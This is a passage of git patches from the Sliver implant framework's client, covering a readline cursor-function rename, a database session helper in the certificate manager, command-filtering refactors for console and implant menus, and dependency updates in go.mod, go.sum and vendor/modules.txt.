lineStartToCursorPos() { term.MoveCursorDown(e.cursorRow) - term.MoveCursorBackwards(term.GetWidth()) - term.MoveCursorForwards(e.cursorCol) + term.MoveCursorBackward(term.GetWidth()) + term.MoveCursorForward(e.cursorCol) } // cursor is on the line below the last line of input. @@ -285,7 +285,7 @@ func (e *Engine) displayHelpers() { e.compRows = completion.Coordinates(e.completer) // Go back to the first line below the input line. - term.MoveCursorBackwards(term.GetWidth()) + term.MoveCursorBackward(term.GetWidth()) term.MoveCursorUp(e.compRows) term.MoveCursorUp(ui.CoordinatesHint(e.hint)) } diff --git a/vendor/github.com/reeflective/readline/internal/term/cursor.go b/vendor/github.com/reeflective/readline/internal/term/cursor.go index ac40f80ceb..98980d166d 100644 --- a/vendor/github.com/reeflective/readline/internal/term/cursor.go +++ b/vendor/github.com/reeflective/readline/internal/term/cursor.go @@ -18,8 +18,8 @@ func MoveCursorDown(i int) { printf("\x1b[%dB", i) } -// MoveCursorForwards moves the cursor forward i columns. -func MoveCursorForwards(i int) { +// MoveCursorForward moves the cursor forward i columns. +func MoveCursorForward(i int) { if i < 1 { return } @@ -27,8 +27,8 @@ func MoveCursorForwards(i int) { printf("\x1b[%dC", i) } -// MoveCursorBackwards moves the cursor backward i columns. -func MoveCursorBackwards(i int) { +// MoveCursorBackward moves the cursor backward i columns. +func MoveCursorBackward(i int) { if i < 1 { return } diff --git a/vendor/github.com/reeflective/readline/internal/ui/prompt.go b/vendor/github.com/reeflective/readline/internal/ui/prompt.go index 44ef0ac0ff..e253278ac4 100644 --- a/vendor/github.com/reeflective/readline/internal/ui/prompt.go +++ b/vendor/github.com/reeflective/readline/internal/ui/prompt.go @@ -212,7 +212,7 @@ func (p *Prompt) TransientPrint() { } // Clean everything below where the prompt will be printed. - term.MoveCursorBackwards(term.GetWidth()) + term.MoveCursorBackward(term.GetWidth()) term.MoveCursorUp(p.primaryRows) fmt.Print(term.ClearScreenBelow) diff --git a/vendor/github.com/reeflective/readline/shell.go b/vendor/github.com/reeflective/readline/shell.go index da50a63876..3a346efec3 100644 --- a/vendor/github.com/reeflective/readline/shell.go +++ b/vendor/github.com/reeflective/readline/shell.go @@ -144,7 +144,7 @@ func (rl *Shell) Printf(msg string, args ...any) (n int, err error) { // First go back to the last line of the input line, // and clear everything below (hints and completions). rl.Display.CursorBelowLine() - term.MoveCursorBackwards(term.GetWidth()) + term.MoveCursorBackward(term.GetWidth()) fmt.Print(term.ClearScreenBelow) // Skip a line, and print the formatted message. @@ -163,7 +163,7 @@ func (rl *Shell) PrintTransientf(msg string, args ...any) (n int, err error) { // First go back to the beginning of the line/prompt, and // clear everything below (prompt/line/hints/completions). rl.Display.CursorToLineStart() - term.MoveCursorBackwards(term.GetWidth()) + term.MoveCursorBackward(term.GetWidth()) term.MoveCursorUp(rl.Prompt.PrimaryUsed()) fmt.Print(term.ClearScreenBelow) diff --git a/vendor/github.com/reeflective/team/internal/certs/certs.go b/vendor/github.com/reeflective/team/internal/certs/certs.go index 4f7c7d0242..5af5a01fa9 100644 --- a/vendor/github.com/reeflective/team/internal/certs/certs.go +++ b/vendor/github.com/reeflective/team/internal/certs/certs.go @@ -63,11 +63,11 @@ var ErrCertDoesNotExist = errors.New("Certificate does not exist") // Manager is used to manage the certificate infrastructure for a given teamserver. // Has access to a given database for storage, a logger and an abstract filesystem. type Manager struct { - appName string - appDir string - log *logrus.Entry - db *gorm.DB - fs *assets.FS + appName string + appDir string + log *logrus.Entry + database *gorm.DB + fs *assets.FS } // NewManager initializes and returns a certificate manager for a given teamserver. @@ -78,11 +78,11 @@ type Manager struct { // panic and exit. func NewManager(filesystem *assets.FS, db *gorm.DB, logger *logrus.Entry, appName, appDir string) *Manager { certs := &Manager{ - appName: appName, - appDir: appDir, - log: logger, - db: db, - fs: filesystem, + appName: appName, + appDir: appDir, + log: logger, + database: db, + fs: filesystem, } certs.generateCA(userCA, "teamusers") @@ -90,6 +90,12 @@ func NewManager(filesystem *assets.FS, db *gorm.DB, logger *logrus.Entry, appNam return certs } +func (m *Manager) db() *gorm.DB { + return m.database.Session(&gorm.Session{ + FullSaveAssociations: true, + }) +} + // GetECCCertificate - Get an ECC certificate. func (c *Manager) GetECCCertificate(caType string, commonName string) ([]byte, []byte, error) { return c.GetCertificate(caType, ECCKey, commonName) @@ -109,7 +115,7 @@ func (c *Manager) GetCertificate(caType string, keyType string, commonName strin c.log.Infof("Getting certificate ca type = %s, cn = '%s'", caType, commonName) certModel := db.Certificate{} - result := c.db.Where(&db.Certificate{ + result := c.db().Where(&db.Certificate{ CAType: caType, KeyType: keyType, CommonName: commonName, @@ -134,7 +140,7 @@ func (c *Manager) RemoveCertificate(caType string, keyType string, commonName st c.log.Infof("Deleting certificate for cn = '%s'", commonName) - err := c.db.Where(&db.Certificate{ + err := c.db().Where(&db.Certificate{ CAType: caType, KeyType: keyType, CommonName: commonName, @@ -301,7 +307,7 @@ func (c *Manager) saveCertificate(caType string, keyType string, commonName stri PrivateKeyPEM: string(key), } - result := c.db.Create(&certModel) + result := c.db().Create(&certModel) return result.Error } diff --git a/vendor/github.com/reeflective/team/internal/certs/users.go b/vendor/github.com/reeflective/team/internal/certs/users.go index c28dac693a..b0fed17776 100644 --- a/vendor/github.com/reeflective/team/internal/certs/users.go +++ b/vendor/github.com/reeflective/team/internal/certs/users.go @@ -70,7 +70,7 @@ func (c *Manager) UserServerGenerateCertificate() ([]byte, []byte, error) { func (c *Manager) UserClientListCertificates() []*x509.Certificate { userCerts := []*db.Certificate{} - result := c.db.Where(&db.Certificate{CAType: userCA}).Find(&userCerts) + result := c.db().Where(&db.Certificate{CAType: userCA}).Find(&userCerts) if result.Error != nil { c.log.Error(result.Error) return []*x509.Certificate{} diff --git a/vendor/github.com/reeflective/team/internal/db/sql.go b/vendor/github.com/reeflective/team/internal/db/sql.go index ac9c0a43fd..713862fb04 100644 --- a/vendor/github.com/reeflective/team/internal/db/sql.go +++ b/vendor/github.com/reeflective/team/internal/db/sql.go @@ -103,9 +103,7 @@ func NewClient(dbConfig *Config, dbLogger *logrus.Entry) (*gorm.DB, error) { // SetConnMaxLifetime sets the maximum amount of time a connection may be reused. sqlDB.SetConnMaxLifetime(time.Hour) - return dbClient.Session(&gorm.Session{ - FullSaveAssociations: true, - }), nil + return dbClient, nil } // Schema returns all objects which should be registered diff --git a/vendor/modules.txt b/vendor/modules.txt index 30ceb0422b..7ab05de32a 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -365,6 +365,9 @@ github.com/insomniacslk/dhcp/dhcpv4 github.com/insomniacslk/dhcp/iana github.com/insomniacslk/dhcp/interfaces github.com/insomniacslk/dhcp/rfc1035label +# github.com/ivanpirog/coloredcobra v1.0.1 +## explicit; go 1.15 +github.com/ivanpirog/coloredcobra # github.com/jackc/pgpassfile v1.0.0 ## explicit; go 1.12 github.com/jackc/pgpassfile @@ -515,11 +518,11 @@ github.com/pmezard/go-difflib/difflib # github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e ## explicit; go 1.16 github.com/psanford/memfs -# github.com/reeflective/console v0.1.6 +# github.com/reeflective/console v0.1.7-0.20230810163856-bb6bbfdcae4a ## explicit; go 1.20 github.com/reeflective/console github.com/reeflective/console/commands/readline -# github.com/reeflective/readline v1.0.8 +# github.com/reeflective/readline v1.0.8 => /home/user/code/github.com/reeflective/readline ## explicit; go 1.20 github.com/reeflective/readline github.com/reeflective/readline/inputrc @@ -556,7 +559,7 @@ github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.37.3 => github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 +# github.com/rsteube/carapace v0.42.1 => github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache @@ -1267,3 +1270,4 @@ tailscale.com/wgengine/wgint tailscale.com/wgengine/wglog tailscale.com/wgengine/winnet # github.com/reeflective/team => /home/user/code/github.com/reeflective/team +# github.com/reeflective/readline => /home/user/code/github.com/reeflective/readline From 916284cb92f76c87ae0baca5d22cca9abe0203ec Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 21:37:13 +0200 Subject: [PATCH 081/124] Fix correct hiding and erroring of unavailable commands --- client/cli/cli.go | 12 +++++------ client/cli/implant.go | 7 ++++++- client/command/exit/exit.go | 6 ++++-- client/command/reaction/commands.go | 32 +++++++++++++++++++++++------ client/command/server.go | 2 ++ client/command/tasks/commands.go | 12 ----------- client/console/console.go | 30 +++++++++++++++++++++++++++ client/console/implant.go | 6 +++--- client/console/teamclient.go | 8 ++++++++ client/constants/constants.go | 9 ++++---- 10 files changed, 90 insertions(+), 34 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index d25b6e3b96..bb9905186a 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -26,8 +26,8 @@ import ( "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/command" - consoleCmd "github.com/bishopfox/sliver/client/command/console" - "github.com/bishopfox/sliver/client/console" + sliverConsole "github.com/bishopfox/sliver/client/command/console" + client "github.com/bishopfox/sliver/client/console" ) // Execute - Run the sliver client binary. @@ -36,7 +36,7 @@ func Execute() { // Sliver Client, prepared with a working reeflective/teamclient. // The teamclient automatically handles remote teamserver configuration // prompting/loading and use, as well as other things. - con, err := console.NewSliverClient() + con, err := client.NewSliverClient() if err != nil { panic(err) } @@ -57,8 +57,8 @@ func Execute() { // The ready-to-execute command tree (root *cobra.Command) returned is correctly equipped // with all prerunners needed to connect to remote Sliver teamservers. // It will also register the appropriate teamclient management commands. -func SliverCLI(con *console.SliverClient) (root *cobra.Command) { - teamclientCmds := func(con *console.SliverClient) []*cobra.Command { +func SliverCLI(con *client.SliverClient) (root *cobra.Command) { + teamclientCmds := func(con *client.SliverClient) []*cobra.Command { return []*cobra.Command{ commands.Generate(con.Teamclient), } @@ -76,7 +76,7 @@ func SliverCLI(con *console.SliverClient) (root *cobra.Command) { // The console shares the same setup/connection pre-runners as other commands, // but the command yielders we pass as arguments don't: this is because we only // need one connection for the entire lifetime of the console. - root.AddCommand(consoleCmd.Command(con, server)) + root.AddCommand(sliverConsole.Command(con, server)) // Implant. // The implant command allows users to run commands on slivers from their diff --git a/client/cli/implant.go b/client/cli/implant.go index 984f8b5477..2d235061d2 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -43,6 +43,10 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co if err != nil { return } + + // And let the console and its active target decide + // what should be available to us, and what should not. + con.ActiveTarget.FilterCommands(implantCmd) }) // This completer will try connect to the server anyway, if not done already. @@ -72,6 +76,7 @@ func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(cmd } // Load either the session or the beacon. + // This also sets the correct console menu. session := con.GetSession(target) if session != nil { con.ActiveTarget.Set(session, nil) @@ -85,7 +90,7 @@ func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(cmd // If the command is marked filtered (should not be ran in // the current context/target), don't do anything and return. // This is identical to the filtering behavior in the console. - if err := con.App.Menu(constants.ImplantMenu).ErrUnavailableCommand(cmd); err != nil { + if err := con.App.ActiveMenu().ErrUnavailableCommand(cmd); err != nil { return err } diff --git a/client/command/exit/exit.go b/client/command/exit/exit.go index bbcad99173..08e33cd65b 100644 --- a/client/command/exit/exit.go +++ b/client/command/exit/exit.go @@ -19,6 +19,7 @@ package exit */ import ( + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" "github.com/spf13/cobra" @@ -27,8 +28,9 @@ import ( // Commands returns the `exit` command. func Command(con *console.SliverClient) []*cobra.Command { return []*cobra.Command{{ - Use: "exit", - Short: "Exit the program", + Use: "exit", + Short: "Exit the program", + Annotations: flags.RestrictTargets(constants.ConsoleCmdsFilter), Run: func(cmd *cobra.Command, args []string) { con.ExitConfirm() }, diff --git a/client/command/reaction/commands.go b/client/command/reaction/commands.go index 4e4e9c7929..b03e77e0b3 100644 --- a/client/command/reaction/commands.go +++ b/client/command/reaction/commands.go @@ -1,21 +1,41 @@ package reaction +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. func Commands(con *console.SliverClient) []*cobra.Command { reactionCmd := &cobra.Command{ - Use: consts.ReactionStr, - Short: "Manage automatic reactions to events", - Long: help.GetHelpFor([]string{consts.ReactionStr}), + Use: consts.ReactionStr, + Short: "Manage automatic reactions to events", + Long: help.GetHelpFor([]string{consts.ReactionStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), Run: func(cmd *cobra.Command, args []string) { ReactionCmd(cmd, con, args) }, diff --git a/client/command/server.go b/client/command/server.go index 95baa9bab3..1c93543371 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -149,6 +149,8 @@ func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.C server.InitDefaultHelpCmd() server.SetHelpCommandGroupID(consts.GenericHelpGroup) + con.FilterCommands(server) + return server } diff --git a/client/command/tasks/commands.go b/client/command/tasks/commands.go index a68bc7a447..f6d1d3283d 100644 --- a/client/command/tasks/commands.go +++ b/client/command/tasks/commands.go @@ -72,17 +72,5 @@ func Commands(con *console.SliverClient) []*cobra.Command { tasksCmd.AddCommand(cancelCmd) carapace.Gen(cancelCmd).PositionalCompletion(BeaconPendingTasksCompleter(con).Usage("beacon task ID")) - waitCmd := &cobra.Command{ - Use: consts.WaitStr, - Short: "Block and wait for a task to complete and return its results", - Long: help.GetHelpFor([]string{consts.TasksStr, consts.WaitStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - TaskWaitCmd(cmd, con, args) - }, - } - tasksCmd.AddCommand(waitCmd) - carapace.Gen(waitCmd).PositionalCompletion(BeaconPendingTasksCompleter(con).Usage("beacon task ID")) - return []*cobra.Command{tasksCmd} } diff --git a/client/console/console.go b/client/console/console.go index 7e94b5efd9..a78bbf9b2a 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -243,10 +243,40 @@ func (con *SliverClient) ExposeCommands() { filters := con.ActiveTarget.Filters() + if !con.isCLI { + filters = append(filters, consts.ConsoleCmdsFilter) + } + // Use all defined filters. con.App.HideCommands(filters...) } +func (con *SliverClient) FilterCommands(cmd *cobra.Command, filters ...string) { + con.App.ShowCommands() + + if con.isCLI { + filters = append(filters, consts.ConsoleCmdsFilter) + } + + sess, beac := con.ActiveTarget.Get() + if sess != nil || beac != nil { + filters = append(filters, con.ActiveTarget.Filters()...) + } + + con.App.HideCommands(filters...) + + for _, cmd := range cmd.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } + + if isFiltered(cmd, filters) { + cmd.Hidden = true + } + } +} + // GetSession returns the session matching an ID, either by prefix or strictly. func (con *SliverClient) GetSession(arg string) *clientpb.Session { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) diff --git a/client/console/implant.go b/client/console/implant.go index 226219ce45..3b2ea595e2 100644 --- a/client/console/implant.go +++ b/client/console/implant.go @@ -176,9 +176,9 @@ func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { } } - if s.con.isCLI { - return - } + // if s.con.isCLI { + // return + // } // Update menus, prompts and commands if s.con.App.ActiveMenu().Name() != consts.ImplantMenu { diff --git a/client/console/teamclient.go b/client/console/teamclient.go index b7ccad2fbc..f703e54359 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -43,6 +43,14 @@ import ( // Note that this function will always check if it used as part of a completion // command execution call, in which case asciicast/logs streaming is disabled. func (con *SliverClient) ConnectRun(cmd *cobra.Command, _ []string) error { + con.FilterCommands(cmd) + + // If commands are imcompatible with the current requirements. + err := con.App.ActiveMenu().ErrUnavailableCommand(cmd) + if err != nil { + return err + } + // Some commands don't need a remote teamserver connection. if con.isOffline(cmd) { return nil diff --git a/client/constants/constants.go b/client/constants/constants.go index 6cd3e17df9..ca7eee6e06 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -325,10 +325,11 @@ const ( // Command types / filters (per OS/type/C2/etc) // Should not be changed: extension.json artifact file (architecture/OS) rely on some of the values below,. const ( - SessionCmdsFilter = "session" - BeaconCmdsFilter = "beacon" - WindowsCmdsFilter = "windows" - WireguardCmdsFilter = "wireguard" + SessionCmdsFilter = "Sessions" + BeaconCmdsFilter = "Beacons" + WindowsCmdsFilter = "Windows" + WireguardCmdsFilter = "Wireguard" + ConsoleCmdsFilter = "Console" ) // Creds (needed here to avoid recursive imports). From fa61c19a9df0bd44e5c791b49daf7a30f34c5754 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 11 Aug 2023 00:37:45 +0200 Subject: [PATCH 082/124] Update deps + few fixes --- client/command/server.go | 18 ++--------- client/command/sessions/commands.go | 7 +++-- client/command/sliver.go | 47 ++--------------------------- client/console/console.go | 34 ++++++++------------- client/console/implant.go | 6 +--- go.mod | 1 - go.sum | 11 ------- vendor/modules.txt | 3 -- 8 files changed, 23 insertions(+), 104 deletions(-) diff --git a/client/command/server.go b/client/command/server.go index 1c93543371..a31149cce7 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -19,6 +19,9 @@ package command */ import ( + "github.com/reeflective/console" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/armory" "github.com/bishopfox/sliver/client/command/beacons" @@ -45,9 +48,6 @@ import ( "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - cc "github.com/ivanpirog/coloredcobra" - "github.com/reeflective/console" - "github.com/spf13/cobra" ) // SliverBinder is the signature of command yielder functions passed and used by @@ -68,18 +68,6 @@ func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.C }, } - cc.Init(&cc.Config{ - RootCmd: server, - NoExtraNewlines: true, - NoBottomNewline: true, - Headings: cc.HiCyan + cc.Bold + cc.Underline, - ExecName: cc.Bold, - Example: cc.Italic, - Commands: cc.HiYellow + cc.Bold, - Flags: cc.Bold, - FlagsDataType: cc.Italic, - }) - // Utility function to be used for binding new commands to // the sliver menu: call the function with the name of the // group under which this/these commands should be added, diff --git a/client/command/sessions/commands.go b/client/command/sessions/commands.go index 183c558619..b802910564 100644 --- a/client/command/sessions/commands.go +++ b/client/command/sessions/commands.go @@ -58,9 +58,10 @@ func Commands(con *console.SliverClient) []*cobra.Command { // SliverCommands returns all session control commands for the active target. func SliverCommands(con *console.SliverClient) []*cobra.Command { backgroundCmd := &cobra.Command{ - Use: consts.BackgroundStr, - Short: "Background an active session", - Long: help.GetHelpFor([]string{consts.BackgroundStr}), + Use: consts.BackgroundStr, + Short: "Background an active session", + Long: help.GetHelpFor([]string{consts.BackgroundStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), Run: func(cmd *cobra.Command, args []string) { BackgroundCmd(cmd, con, args) }, diff --git a/client/command/sliver.go b/client/command/sliver.go index 4bc27a3ec5..973947f5fe 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -19,7 +19,8 @@ package command */ import ( - "strings" + "github.com/reeflective/console" + "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" @@ -51,9 +52,6 @@ import ( "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/reeflective/console" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" ) // SliverCommands returns all commands bound to the implant menu. @@ -168,51 +166,12 @@ func SliverCommands(con *client.SliverClient) console.Commands { sliver.InitDefaultHelpCmd() sliver.SetHelpCommandGroupID(consts.SliverCoreHelpGroup) - initHelpCompletion(sliver) // Compute which commands should be available based on the current session/beacon. - con.ExposeCommands() + con.FilterCommands(sliver) return sliver } return sliverCommands } - -func actionSubcommands(cmd *cobra.Command) carapace.Action { - return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - batch := carapace.Batch() - for _, subcommand := range cmd.Commands() { - if !subcommand.Hidden && subcommand.Deprecated == "" { - batch = append(batch, carapace.ActionValuesDescribed(subcommand.Name(), subcommand.Short).Tag(subcommand.GroupID)) - for _, alias := range subcommand.Aliases { - batch = append(batch, carapace.ActionValuesDescribed(alias, subcommand.Short).Tag(subcommand.GroupID)) - } - } - } - return batch.ToA() - }) -} - -func initHelpCompletion(cmd *cobra.Command) { - helpCmd, _, err := cmd.Find([]string{"help"}) - if err != nil { - return - } - - if helpCmd.Name() != "help" || - helpCmd.Short != "Help about any command" || - !strings.HasPrefix(helpCmd.Long, `Help provides help for any command in the application.`) { - return - } - - carapace.Gen(helpCmd).PositionalAnyCompletion( - carapace.ActionCallback(func(c carapace.Context) carapace.Action { - lastCmd, _, err := cmd.Find(c.Args) - if err != nil { - return carapace.ActionMessage(err.Error()) - } - return actionSubcommands(lastCmd) - }), - ) -} diff --git a/client/console/console.go b/client/console/console.go index a78bbf9b2a..b1a6fa1de5 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -236,21 +236,10 @@ func (con *SliverClient) StartConsole() error { return con.App.Start() } -// Expose or hide commands if the active target does support them (or not). -// Ex; hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. -func (con *SliverClient) ExposeCommands() { - con.App.ShowCommands() - - filters := con.ActiveTarget.Filters() - - if !con.isCLI { - filters = append(filters, consts.ConsoleCmdsFilter) - } - - // Use all defined filters. - con.App.HideCommands(filters...) -} - +// FilterCommands shows/hides commands if the active target does support them (or not). +// Ex; to hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. +// Both the cmd *cobra.Command passed and the filters can be nil, in which case the +// filters are recomputed by the console application for the current context. func (con *SliverClient) FilterCommands(cmd *cobra.Command, filters ...string) { con.App.ShowCommands() @@ -265,14 +254,15 @@ func (con *SliverClient) FilterCommands(cmd *cobra.Command, filters ...string) { con.App.HideCommands(filters...) - for _, cmd := range cmd.Commands() { - // Don't override commands if they are already hidden - if cmd.Hidden { - continue - } + if cmd != nil { + for _, cmd := range cmd.Commands() { + if cmd.Hidden { + continue + } - if isFiltered(cmd, filters) { - cmd.Hidden = true + if isFiltered(cmd, filters) { + cmd.Hidden = true + } } } } diff --git a/client/console/implant.go b/client/console/implant.go index 3b2ea595e2..7dc4c6c0a1 100644 --- a/client/console/implant.go +++ b/client/console/implant.go @@ -139,7 +139,7 @@ func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { return } - defer s.con.ExposeCommands() + defer s.con.FilterCommands(s.con.App.ActiveMenu().Command) // Backgrounding if session == nil && beacon == nil { @@ -176,10 +176,6 @@ func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { } } - // if s.con.isCLI { - // return - // } - // Update menus, prompts and commands if s.con.App.ActiveMenu().Name() != consts.ImplantMenu { s.con.App.SwitchMenu(consts.ImplantMenu) diff --git a/go.mod b/go.mod index b249a97524..561ab5b9c6 100644 --- a/go.mod +++ b/go.mod @@ -30,7 +30,6 @@ require ( github.com/google/uuid v1.3.0 github.com/gorilla/mux v1.8.0 github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 - github.com/ivanpirog/coloredcobra v1.0.1 github.com/jedib0t/go-pretty/v6 v6.4.6 github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f github.com/klauspost/compress v1.16.6 diff --git a/go.sum b/go.sum index 4874c786ba..0e73e19954 100644 --- a/go.sum +++ b/go.sum @@ -91,7 +91,6 @@ github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDk github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/coreos/go-iptables v0.6.0 h1:is9qnZMPYjLd8LYqmm/qlE+wwEgJIkTYdhV3rfZo4jk= github.com/coreos/go-iptables v0.6.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q= -github.com/cpuguy83/go-md2man/v2 v2.0.1/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= @@ -110,7 +109,6 @@ github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.m github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= -github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA= @@ -199,13 +197,10 @@ github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68= github.com/illarion/gonotify v1.0.1 h1:F1d+0Fgbq/sDWjj/r66ekjDG+IDeecQKUFH4wNwsoio= github.com/illarion/gonotify v1.0.1/go.mod h1:zt5pmDofZpU1f8aqlK0+95eQhoEAn/d4G4B/FjVW4jE= -github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/insomniacslk/dhcp v0.0.0-20230407062729-974c6f05fe16 h1:+aAGyK41KRn8jbF2Q7PLL0Sxwg6dShGcQSeCC7nZQ8E= github.com/insomniacslk/dhcp v0.0.0-20230407062729-974c6f05fe16/go.mod h1:IKrnDWs3/Mqq5n0lI+RxA2sB7MvN/vbMBP3ehXg65UI= -github.com/ivanpirog/coloredcobra v1.0.1 h1:aURSdEmlR90/tSiWS0dMjdwOvCVUeYLfltLfbgNxrN4= -github.com/ivanpirog/coloredcobra v1.0.1/go.mod h1:iho4nEKcnwZFiniGSdcgdvRgZNjxm+h20acv8vqmN6Q= github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk= @@ -267,13 +262,11 @@ github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0 github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.8/go.mod 